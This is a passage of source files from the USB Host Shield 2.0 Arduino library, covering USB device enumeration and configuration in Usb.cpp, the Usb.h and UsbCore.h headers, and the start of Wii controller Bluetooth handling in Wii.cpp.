devConfig[i]->Poll(); switch(usb_task_state) { case USB_DETACHED_SUBSTATE_INITIALIZE: init(); for(uint8_t i = 0; i < USB_NUMDEVICES; i++) if(devConfig[i]) rcode = devConfig[i]->Release(); usb_task_state = USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE; break; case USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE: //just sit here break; case USB_DETACHED_SUBSTATE_ILLEGAL: //just sit here break; case USB_ATTACHED_SUBSTATE_SETTLE: //settle time for just attached device if((int32_t)((uint32_t)millis() - delay) >= 0L) usb_task_state = USB_ATTACHED_SUBSTATE_RESET_DEVICE; else break; // don't fall through case USB_ATTACHED_SUBSTATE_RESET_DEVICE: regWr(rHCTL, bmBUSRST); //issue bus reset usb_task_state = USB_ATTACHED_SUBSTATE_WAIT_RESET_COMPLETE; break; case USB_ATTACHED_SUBSTATE_WAIT_RESET_COMPLETE: if((regRd(rHCTL) & bmBUSRST) == 0) { tmpdata = regRd(rMODE) | bmSOFKAENAB; //start SOF generation regWr(rMODE, tmpdata); usb_task_state = USB_ATTACHED_SUBSTATE_WAIT_SOF; //delay = (uint32_t)millis() + 20; //20ms wait after reset per USB spec } break; case USB_ATTACHED_SUBSTATE_WAIT_SOF: //todo: change check order if(regRd(rHIRQ) & bmFRAMEIRQ) { //when first SOF received _and_ 20ms has passed we can continue /* if (delay < (uint32_t)millis()) //20ms passed usb_task_state = USB_STATE_CONFIGURING; */ usb_task_state = USB_ATTACHED_SUBSTATE_WAIT_RESET; delay = (uint32_t)millis() + 20; } break; case USB_ATTACHED_SUBSTATE_WAIT_RESET: if((int32_t)((uint32_t)millis() - delay) >= 0L) usb_task_state = USB_STATE_CONFIGURING; else break; // don't fall through case USB_STATE_CONFIGURING: //Serial.print("\r\nConf.LS: "); //Serial.println(lowspeed, HEX); rcode = Configuring(0, 0, lowspeed); if(rcode) { if(rcode != USB_DEV_CONFIG_ERROR_DEVICE_INIT_INCOMPLETE) { usb_error = rcode; usb_task_state = USB_STATE_ERROR; } } else usb_task_state = USB_STATE_RUNNING; break; case USB_STATE_RUNNING: break; case USB_STATE_ERROR: //MAX3421E::Init(); break; } // switch( usb_task_state ) } uint8_t USB::DefaultAddressing(uint8_t parent, uint8_t port, bool lowspeed) { //uint8_t buf[12]; uint8_t rcode; UsbDevice *p0 = NULL, *p = NULL; // Get pointer to pseudo device with address 0 assigned p0 = addrPool.GetUsbDevicePtr(0); if(!p0) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; if(!p0->epinfo) return USB_ERROR_EPINFO_IS_NULL; p0->lowspeed = (lowspeed) ? true : false; // Allocate new address according to device class uint8_t bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; // Assign new address to the device rcode = setAddr(0, 0, bAddress); if(rcode) { addrPool.FreeAddress(bAddress); bAddress = 0; return rcode; } return 0; }; uint8_t USB::AttemptConfig(uint8_t driver, uint8_t parent, uint8_t port, bool lowspeed) { //printf("AttemptConfig: parent = %i, port = %i\r\n", parent, port); uint8_t retries = 0; again: uint8_t rcode = devConfig[driver]->ConfigureDevice(parent, port, lowspeed); if(rcode == USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET) { if(parent == 0) { // Send a bus reset on the root interface. regWr(rHCTL, bmBUSRST); //issue bus reset delay(102); // delay 102ms, compensate for clock inaccuracy. } else { // reset parent port devConfig[parent]->ResetHubPort(port); } } else if(rcode == hrJERR && retries < 3) { // Some devices returns this when plugged in - trying to initialize the device again usually works delay(100); retries++; goto again; } else if(rcode) return rcode; rcode = devConfig[driver]->Init(parent, port, lowspeed); if(rcode == hrJERR && retries < 3) { // Some devices returns this when plugged in - trying to initialize the device again usually works delay(100); retries++; goto again; } if(rcode) { // Issue a bus reset, because the device may be in a limbo state if(parent == 0) { // Send a bus reset on the root interface. regWr(rHCTL, bmBUSRST); //issue bus reset delay(102); // delay 102ms, compensate for clock inaccuracy. } else { // reset parent port devConfig[parent]->ResetHubPort(port); } } return rcode; } /* * This is broken. We need to enumerate differently. * It causes major problems with several devices if detected in an unexpected order. * * * Oleg - I wouldn't do anything before the newly connected device is considered sane. * i.e.(delays are not indicated for brevity): * 1. reset * 2. GetDevDescr(); * 3a. If ACK, continue with allocating address, addressing, etc. * 3b. Else reset again, count resets, stop at some number (5?). * 4. When max.number of resets is reached, toggle power/fail * If desired, this could be modified by performing two resets with GetDevDescr() in the middle - however, from my experience, if a device answers to GDD() * it doesn't need to be reset again * New steps proposal: * 1: get address pool instance. exit on fail * 2: pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf). exit on fail. * 3: bus reset, 100ms delay * 4: set address * 5: pUsb->setEpInfoEntry(bAddress, 1, epInfo), exit on fail * 6: while (configurations) { * for(each configuration) { * for (each driver) { * 6a: Ask device if it likes configuration. Returns 0 on OK. * If successful, the driver configured device. * The driver now owns the endpoints, and takes over managing them. * The following will need codes: * Everything went well, instance consumed, exit with success. * Instance already in use, ignore it, try next driver. * Not a supported device, ignore it, try next driver. * Not a supported configuration for this device, ignore it, try next driver. * Could not configure device, fatal, exit with fail. * } * } * } * 7: for(each driver) { * 7a: Ask device if it knows this VID/PID. Acts exactly like 6a, but using VID/PID * 8: if we get here, no driver likes the device plugged in, so exit failure. * */ uint8_t USB::Configuring(uint8_t parent, uint8_t port, bool lowspeed) { //uint8_t bAddress = 0; //printf("Configuring: parent = %i, port = %i\r\n", parent, port); uint8_t devConfigIndex; uint8_t rcode = 0; uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)]; USB_DEVICE_DESCRIPTOR *udd = reinterpret_cast(buf); UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; EpInfo epInfo; epInfo.epAddr = 0; epInfo.maxPktSize = 8; epInfo.bmSndToggle = 0; epInfo.bmRcvToggle = 0; epInfo.bmNakPower = USB_NAK_MAX_POWER; //delay(2000); AddressPool &addrPool = GetAddressPool(); // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) { //printf("Configuring error: USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL\r\n"); return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to // avoid toggle inconsistence p->epinfo = &epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) { //printf("Configuring error: Can't get USB_DEVICE_DESCRIPTOR\r\n"); return rcode; } // to-do? // Allocate new address according to device class //bAddress = addrPool.AllocAddress(parent, false, port); uint16_t vid = udd->idVendor; uint16_t pid = udd->idProduct; uint8_t klass = udd->bDeviceClass; uint8_t subklass = udd->bDeviceSubClass; // Attempt to configure if VID/PID or device class matches with a driver // Qualify with subclass too. // // VID/PID & class tests default to false for drivers not yet ported // subclass defaults to true, so you don't have to define it if you don't have to. // for(devConfigIndex = 0; devConfigIndex < USB_NUMDEVICES; devConfigIndex++) { if(!devConfig[devConfigIndex]) continue; // no driver if(devConfig[devConfigIndex]->GetAddress()) continue; // consumed if(devConfig[devConfigIndex]->DEVSUBCLASSOK(subklass) && (devConfig[devConfigIndex]->VIDPIDOK(vid, pid) || devConfig[devConfigIndex]->DEVCLASSOK(klass))) { rcode = AttemptConfig(devConfigIndex, parent, port, lowspeed); if(rcode != USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED) break; } } if(devConfigIndex < USB_NUMDEVICES) { return rcode; } // blindly attempt to configure for(devConfigIndex = 0; devConfigIndex < USB_NUMDEVICES; devConfigIndex++) { if(!devConfig[devConfigIndex]) continue; if(devConfig[devConfigIndex]->GetAddress()) continue; // consumed if(devConfig[devConfigIndex]->DEVSUBCLASSOK(subklass) && (devConfig[devConfigIndex]->VIDPIDOK(vid, pid) || devConfig[devConfigIndex]->DEVCLASSOK(klass))) continue; // If this is true it means it must have returned USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED above rcode = AttemptConfig(devConfigIndex, parent, port, lowspeed); //printf("ERROR ENUMERATING %2.2x\r\n", rcode); if(!(rcode == USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED || rcode == USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE)) { // in case of an error dev_index should be reset to 0 // in order to start from the very beginning the // next time the program gets here //if (rcode != USB_DEV_CONFIG_ERROR_DEVICE_INIT_INCOMPLETE) // devConfigIndex = 0; return rcode; } } // if we get here that means that the device class is not supported by any of registered classes rcode = DefaultAddressing(parent, port, lowspeed); return rcode; } uint8_t USB::ReleaseDevice(uint8_t addr) { if(!addr) return 0; for(uint8_t i = 0; i < USB_NUMDEVICES; i++) { if(!devConfig[i]) continue; if(devConfig[i]->GetAddress() == addr) return devConfig[i]->Release(); } return 0; } #if 1 //!defined(USB_METHODS_INLINE) //get device descriptor uint8_t USB::getDevDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr) { return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, 0x00, USB_DESCRIPTOR_DEVICE, 0x0000, nbytes, nbytes, dataptr, NULL)); } //get configuration descriptor uint8_t USB::getConfDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t conf, uint8_t* dataptr) { return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, conf, USB_DESCRIPTOR_CONFIGURATION, 0x0000, nbytes, nbytes, dataptr, NULL)); } /* Requests Configuration Descriptor. Sends two Get Conf Descr requests. The first one gets the total length of all descriptors, then the second one requests this total length. The length of the first request can be shorter ( 4 bytes ), however, there are devices which won't work unless this length is set to 9 */ uint8_t USB::getConfDescr(uint8_t addr, uint8_t ep, uint8_t conf, USBReadParser *p) { const uint8_t bufSize = 64; uint8_t buf[bufSize]; USB_CONFIGURATION_DESCRIPTOR *ucd = reinterpret_cast(buf); uint8_t ret = getConfDescr(addr, ep, 9, conf, buf); if(ret) return ret; uint16_t total = ucd->wTotalLength; //USBTRACE2("\r\ntotal conf.size:", total); return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, conf, USB_DESCRIPTOR_CONFIGURATION, 0x0000, total, bufSize, buf, p)); } //get string descriptor uint8_t USB::getStrDescr(uint8_t addr, uint8_t ep, uint16_t ns, uint8_t index, uint16_t langid, uint8_t* dataptr) { return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, index, USB_DESCRIPTOR_STRING, langid, ns, ns, dataptr, NULL)); } //set address uint8_t USB::setAddr(uint8_t oldaddr, uint8_t ep, uint8_t newaddr) { uint8_t rcode = ctrlReq(oldaddr, ep, bmREQ_SET, USB_REQUEST_SET_ADDRESS, newaddr, 0x00, 0x0000, 0x0000, 0x0000, NULL, NULL); //delay(2); //per USB 2.0 sect.9.2.6.3 delay(300); // Older spec says you should wait at least 200ms return rcode; //return ( ctrlReq(oldaddr, ep, bmREQ_SET, USB_REQUEST_SET_ADDRESS, newaddr, 0x00, 0x0000, 0x0000, 0x0000, NULL, NULL)); } //set configuration uint8_t USB::setConf(uint8_t addr, uint8_t ep, uint8_t conf_value) { return ( ctrlReq(addr, ep, bmREQ_SET, USB_REQUEST_SET_CONFIGURATION, conf_value, 0x00, 0x0000, 0x0000, 0x0000, NULL, NULL)); } #endif // defined(USB_METHODS_INLINE) ================================================ FILE: libraries/USB_Host_Shield_2.0/Usb.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ /* USB functions */ #ifndef _usb_h_ #define _usb_h_ // WARNING: Do not change the order of includes, or stuff will break! #include #include #include // None of these should ever be included by a driver, or a user's sketch. #include "settings.h" #include "printhex.h" #include "message.h" #include "hexdump.h" #include "sink_parser.h" #include "max3421e.h" #include "address.h" #include "avrpins.h" #include "usb_ch9.h" #include "usbhost.h" #include "UsbCore.h" #include "parsetools.h" #include "confdescparser.h" #endif //_usb_h_ ================================================ FILE: libraries/USB_Host_Shield_2.0/UsbCore.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(USBCORE_H) #error "Never include UsbCore.h directly; include Usb.h instead" #else #define USBCORE_H // Not used anymore? If anyone uses this, please let us know so that this may be // moved to the proper place, settings.h. //#define USB_METHODS_INLINE /* shield pins. First parameter - SS pin, second parameter - INT pin */ #ifdef BOARD_BLACK_WIDDOW typedef MAX3421e MAX3421E; // Black Widow #elif defined(CORE_TEENSY) && (defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__)) #if EXT_RAM typedef MAX3421e MAX3421E; // Teensy++ 2.0 with XMEM2 #else typedef MAX3421e MAX3421E; // Teensy++ 1.0 and 2.0 #endif #elif defined(BOARD_MEGA_ADK) typedef MAX3421e MAX3421E; // Arduino Mega ADK #elif defined(ARDUINO_AVR_BALANDUINO) typedef MAX3421e MAX3421E; // Balanduino #elif defined(__ARDUINO_X86__) && PLATFORM_ID == 0x06 typedef MAX3421e MAX3421E; // The Intel Galileo supports much faster read and write speed at pin 2 and 3 #elif defined(ESP8266) typedef MAX3421e MAX3421E; // ESP8266 boards #elif defined(ESP32) typedef MAX3421e MAX3421E; // ESP32 boards #else typedef MAX3421e MAX3421E; // Official Arduinos (UNO, Duemilanove, Mega, 2560, Leonardo, Due etc.), Intel Edison, Intel Galileo 2 or Teensy 2.0 and 3.x #endif /* Common setup data constant combinations */ #define bmREQ_GET_DESCR USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_STANDARD|USB_SETUP_RECIPIENT_DEVICE //get descriptor request type #define bmREQ_SET USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_STANDARD|USB_SETUP_RECIPIENT_DEVICE //set request type for all but 'set feature' and 'set interface' #define bmREQ_CL_GET_INTF USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE //get interface request type // D7 data transfer direction (0 - host-to-device, 1 - device-to-host) // D6-5 Type (0- standard, 1 - class, 2 - vendor, 3 - reserved) // D4-0 Recipient (0 - device, 1 - interface, 2 - endpoint, 3 - other, 4..31 - reserved) // USB Device Classes #define USB_CLASS_USE_CLASS_INFO 0x00 // Use Class Info in the Interface Descriptors #define USB_CLASS_AUDIO 0x01 // Audio #define USB_CLASS_COM_AND_CDC_CTRL 0x02 // Communications and CDC Control #define USB_CLASS_HID 0x03 // HID #define USB_CLASS_PHYSICAL 0x05 // Physical #define USB_CLASS_IMAGE 0x06 // Image #define USB_CLASS_PRINTER 0x07 // Printer #define USB_CLASS_MASS_STORAGE 0x08 // Mass Storage #define USB_CLASS_HUB 0x09 // Hub #define USB_CLASS_CDC_DATA 0x0a // CDC-Data #define USB_CLASS_SMART_CARD 0x0b // Smart-Card #define USB_CLASS_CONTENT_SECURITY 0x0d // Content Security #define USB_CLASS_VIDEO 0x0e // Video #define USB_CLASS_PERSONAL_HEALTH 0x0f // Personal Healthcare #define USB_CLASS_DIAGNOSTIC_DEVICE 0xdc // Diagnostic Device #define USB_CLASS_WIRELESS_CTRL 0xe0 // Wireless Controller #define USB_CLASS_MISC 0xef // Miscellaneous #define USB_CLASS_APP_SPECIFIC 0xfe // Application Specific #define USB_CLASS_VENDOR_SPECIFIC 0xff // Vendor Specific // Additional Error Codes #define USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED 0xD1 #define USB_DEV_CONFIG_ERROR_DEVICE_INIT_INCOMPLETE 0xD2 #define USB_ERROR_UNABLE_TO_REGISTER_DEVICE_CLASS 0xD3 #define USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL 0xD4 #define USB_ERROR_HUB_ADDRESS_OVERFLOW 0xD5 #define USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL 0xD6 #define USB_ERROR_EPINFO_IS_NULL 0xD7 #define USB_ERROR_INVALID_ARGUMENT 0xD8 #define USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE 0xD9 #define USB_ERROR_INVALID_MAX_PKT_SIZE 0xDA #define USB_ERROR_EP_NOT_FOUND_IN_TBL 0xDB #define USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET 0xE0 #define USB_ERROR_FailGetDevDescr 0xE1 #define USB_ERROR_FailSetDevTblEntry 0xE2 #define USB_ERROR_FailGetConfDescr 0xE3 #define USB_ERROR_TRANSFER_TIMEOUT 0xFF #define USB_XFER_TIMEOUT 5000 // (5000) USB transfer timeout in milliseconds, per section 9.2.6.1 of USB 2.0 spec //#define USB_NAK_LIMIT 32000 // NAK limit for a transfer. 0 means NAKs are not counted #define USB_RETRY_LIMIT 3 // 3 retry limit for a transfer #define USB_SETTLE_DELAY 200 // settle delay in milliseconds #define USB_NUMDEVICES 16 //number of USB devices //#define HUB_MAX_HUBS 7 // maximum number of hubs that can be attached to the host controller #define HUB_PORT_RESET_DELAY 20 // hub port reset delay 10 ms recomended, can be up to 20 ms /* USB state machine states */ #define USB_STATE_MASK 0xf0 #define USB_STATE_DETACHED 0x10 #define USB_DETACHED_SUBSTATE_INITIALIZE 0x11 #define USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE 0x12 #define USB_DETACHED_SUBSTATE_ILLEGAL 0x13 #define USB_ATTACHED_SUBSTATE_SETTLE 0x20 #define USB_ATTACHED_SUBSTATE_RESET_DEVICE 0x30 #define USB_ATTACHED_SUBSTATE_WAIT_RESET_COMPLETE 0x40 #define USB_ATTACHED_SUBSTATE_WAIT_SOF 0x50 #define USB_ATTACHED_SUBSTATE_WAIT_RESET 0x51 #define USB_ATTACHED_SUBSTATE_GET_DEVICE_DESCRIPTOR_SIZE 0x60 #define USB_STATE_ADDRESSING 0x70 #define USB_STATE_CONFIGURING 0x80 #define USB_STATE_RUNNING 0x90 #define USB_STATE_ERROR 0xa0 class USBDeviceConfig { public: virtual uint8_t Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed __attribute__((unused))) { return 0; } virtual uint8_t ConfigureDevice(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed __attribute__((unused))) { return 0; } virtual uint8_t Release() { return 0; } virtual uint8_t Poll() { return 0; } virtual uint8_t GetAddress() { return 0; } virtual void ResetHubPort(uint8_t port __attribute__((unused))) { return; } // Note used for hubs only! virtual bool VIDPIDOK(uint16_t vid __attribute__((unused)), uint16_t pid __attribute__((unused))) { return false; } virtual bool DEVCLASSOK(uint8_t klass __attribute__((unused))) { return false; } virtual bool DEVSUBCLASSOK(uint8_t subklass __attribute__((unused))) { return true; } }; /* USB Setup Packet Structure */ typedef struct { union { // offset description uint8_t bmRequestType; // 0 Bit-map of request type struct { uint8_t recipient : 5; // Recipient of the request uint8_t type : 2; // Type of request uint8_t direction : 1; // Direction of data X-fer } __attribute__((packed)); } ReqType_u; uint8_t bRequest; // 1 Request union { uint16_t wValue; // 2 Depends on bRequest struct { uint8_t wValueLo; uint8_t wValueHi; } __attribute__((packed)); } wVal_u; uint16_t wIndex; // 4 Depends on bRequest uint16_t wLength; // 6 Depends on bRequest } __attribute__((packed)) SETUP_PKT, *PSETUP_PKT; // Base class for incoming data parser class USBReadParser { public: virtual void Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset) = 0; }; class USB : public MAX3421E { AddressPoolImpl addrPool; USBDeviceConfig* devConfig[USB_NUMDEVICES]; uint8_t bmHubPre; public: USB(void); void SetHubPreMask() { bmHubPre |= bmHUBPRE; }; void ResetHubPreMask() { bmHubPre &= (~bmHUBPRE); }; AddressPool& GetAddressPool() { return (AddressPool&)addrPool; }; uint8_t RegisterDeviceClass(USBDeviceConfig *pdev) { for(uint8_t i = 0; i < USB_NUMDEVICES; i++) { if(!devConfig[i]) { devConfig[i] = pdev; return 0; } } return USB_ERROR_UNABLE_TO_REGISTER_DEVICE_CLASS; }; void ForEachUsbDevice(UsbDeviceHandleFunc pfunc) { addrPool.ForEachUsbDevice(pfunc); }; uint8_t getUsbTaskState(void); void setUsbTaskState(uint8_t state); EpInfo* getEpInfoEntry(uint8_t addr, uint8_t ep); uint8_t setEpInfoEntry(uint8_t addr, uint8_t epcount, EpInfo* eprecord_ptr); /* Control requests */ uint8_t getDevDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr); uint8_t getConfDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t conf, uint8_t* dataptr); uint8_t getConfDescr(uint8_t addr, uint8_t ep, uint8_t conf, USBReadParser *p); uint8_t getStrDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t index, uint16_t langid, uint8_t* dataptr); uint8_t setAddr(uint8_t oldaddr, uint8_t ep, uint8_t newaddr); uint8_t setConf(uint8_t addr, uint8_t ep, uint8_t conf_value); /**/ uint8_t ctrlData(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr, bool direction); uint8_t ctrlStatus(uint8_t ep, bool direction, uint16_t nak_limit); uint8_t inTransfer(uint8_t addr, uint8_t ep, uint16_t *nbytesptr, uint8_t* data, uint8_t bInterval = 0); uint8_t outTransfer(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* data); uint8_t dispatchPkt(uint8_t token, uint8_t ep, uint16_t nak_limit); void Task(void); uint8_t DefaultAddressing(uint8_t parent, uint8_t port, bool lowspeed); uint8_t Configuring(uint8_t parent, uint8_t port, bool lowspeed); uint8_t ReleaseDevice(uint8_t addr); uint8_t ctrlReq(uint8_t addr, uint8_t ep, uint8_t bmReqType, uint8_t bRequest, uint8_t wValLo, uint8_t wValHi, uint16_t wInd, uint16_t total, uint16_t nbytes, uint8_t* dataptr, USBReadParser *p); private: void init(); uint8_t SetAddress(uint8_t addr, uint8_t ep, EpInfo **ppep, uint16_t *nak_limit); uint8_t OutTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t nbytes, uint8_t *data); uint8_t InTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t *nbytesptr, uint8_t *data, uint8_t bInterval = 0); uint8_t AttemptConfig(uint8_t driver, uint8_t parent, uint8_t port, bool lowspeed); }; #if 0 //defined(USB_METHODS_INLINE) //get device descriptor inline uint8_t USB::getDevDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr) { return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, 0x00, USB_DESCRIPTOR_DEVICE, 0x0000, nbytes, dataptr)); } //get configuration descriptor inline uint8_t USB::getConfDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t conf, uint8_t* dataptr) { return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, conf, USB_DESCRIPTOR_CONFIGURATION, 0x0000, nbytes, dataptr)); } //get string descriptor inline uint8_t USB::getStrDescr(uint8_t addr, uint8_t ep, uint16_t nuint8_ts, uint8_t index, uint16_t langid, uint8_t* dataptr) { return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, index, USB_DESCRIPTOR_STRING, langid, nuint8_ts, dataptr)); } //set address inline uint8_t USB::setAddr(uint8_t oldaddr, uint8_t ep, uint8_t newaddr) { return ( ctrlReq(oldaddr, ep, bmREQ_SET, USB_REQUEST_SET_ADDRESS, newaddr, 0x00, 0x0000, 0x0000, NULL)); } //set configuration inline uint8_t USB::setConf(uint8_t addr, uint8_t ep, uint8_t conf_value) { return ( ctrlReq(addr, ep, bmREQ_SET, USB_REQUEST_SET_CONFIGURATION, conf_value, 0x00, 0x0000, 0x0000, NULL)); } #endif // defined(USB_METHODS_INLINE) #endif /* USBCORE_H */ ================================================ FILE: libraries/USB_Host_Shield_2.0/Wii.cpp ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com IR camera support added by Allan Glover (adglover9.81@gmail.com) and Kristian Lauszus */ #include "Wii.h" // To enable serial debugging see "settings.h" //#define EXTRADEBUG // Uncomment to get even more debugging data //#define PRINTREPORT // Uncomment to print the report send by the Wii controllers const uint8_t WII_LEDS[] PROGMEM = { 0x00, // OFF 0x10, // LED1 0x20, // LED2 0x40, // LED3 0x80, // LED4 0x90, // LED5 0xA0, // LED6 0xC0, // LED7 0xD0, // LED8 0xE0, // LED9 0xF0, // LED10 }; const uint32_t WII_BUTTONS[] PROGMEM = { 0x00008, // UP 0x00002, // RIGHT 0x00004, // DOWN 0x00001, // LEFT 0, // Skip 0x00010, // PLUS 0x00100, // TWO 0x00200, // ONE 0x01000, // MINUS 0x08000, // HOME 0x10000, // Z 0x20000, // C 0x00400, // B 0x00800, // A }; const uint32_t WII_PROCONTROLLER_BUTTONS[] PROGMEM = { 0x00100, // UP 0x00080, // RIGHT 0x00040, // DOWN 0x00200, // LEFT 0, // Skip 0x00004, // PLUS 0x20000, // L3 0x10000, // R3 0x00010, // MINUS 0x00008, // HOME 0, 0, // Skip 0x04000, // B 0x01000, // A 0x00800, // X 0x02000, // Y 0x00020, // L 0x00002, // R 0x08000, // ZL 0x00400, // ZR }; WII::WII(BTD *p, bool pair) : BluetoothService(p) // Pointer to USB class instance - mandatory { pBtd->pairWithWii = pair; HIDBuffer[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02) /* Set device cid for the control and intterrupt channelse - LSB */ control_dcid[0] = 0x60; // 0x0060 control_dcid[1] = 0x00; interrupt_dcid[0] = 0x61; // 0x0061 interrupt_dcid[1] = 0x00; Reset(); } void WII::Reset() { wiimoteConnected = false; nunchuckConnected = false; motionPlusConnected = false; activateNunchuck = false; motionValuesReset = false; activeConnection = false; motionPlusInside = false; pBtd->wiiUProController = false; wiiUProControllerConnected = false; wiiBalanceBoardConnected = false; l2cap_event_flag = 0; // Reset flags l2cap_state = L2CAP_WAIT; } void WII::disconnect() { // Use this void to disconnect any of the controllers if(!motionPlusInside) { // The old Wiimote needs a delay after the first command or it will automatically reconnect if(motionPlusConnected) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDeactivating Motion Plus"), 0x80); #endif initExtension1(); // This will disable the Motion Plus extension } timer = (uint32_t)millis() + 1000; // We have to wait for the message before the rest of the channels can be deactivated } else timer = (uint32_t)millis(); // Don't wait // First the HID interrupt channel has to be disconnected, then the HID control channel and finally the HCI connection pBtd->l2cap_disconnection_request(hci_handle, ++identifier, interrupt_scid, interrupt_dcid); Reset(); l2cap_state = L2CAP_INTERRUPT_DISCONNECT; } void WII::ACLData(uint8_t* l2capinbuf) { if(!pBtd->l2capConnectionClaimed && pBtd->incomingWii && !wiimoteConnected && !activeConnection) { if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) { if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_CTRL_PSM) { motionPlusInside = pBtd->motionPlusInside; pBtd->incomingWii = false; pBtd->l2capConnectionClaimed = true; // Claim that the incoming connection belongs to this service activeConnection = true; hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection l2cap_state = L2CAP_WAIT; } } } if(checkHciHandle(l2capinbuf, hci_handle)) { // acl_handle_ok if((l2capinbuf[6] | (l2capinbuf[7] << 8)) == 0x0001U) { // l2cap_control - Channel ID for ACL-U if(l2capinbuf[8] == L2CAP_CMD_COMMAND_REJECT) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nL2CAP Command Rejected - Reason: "), 0x80); D_PrintHex (l2capinbuf[13], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[12], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[17], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[16], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[15], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[14], 0x80); #endif } else 